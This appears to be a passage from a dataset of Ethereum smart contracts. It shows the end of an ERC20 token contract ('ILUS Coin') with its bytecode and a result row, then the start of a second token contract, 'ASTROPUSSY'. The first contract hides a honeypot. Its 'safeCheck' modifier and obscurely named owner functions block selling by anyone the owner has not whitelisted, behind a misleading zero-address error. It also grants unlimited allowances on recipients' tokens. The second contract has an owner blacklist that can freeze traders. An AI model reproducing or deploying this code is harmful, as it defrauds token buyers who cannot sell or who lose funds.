string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//ILUS Coin
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220790bc807bcad79f758c024aa89f9a2ff2a4665d515a341ff9e4d5de4f166d6ea64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 674 |
0x579614adbfb211b5ef0ab0503110c72989696763 | /**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
* Telegram: https://t.me/ballsdeepverification
* Website: https://astropussy.space
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ASTROPUSSY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"ASTRO PUSSY";
string private constant _symbol = unicode"APUSSY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
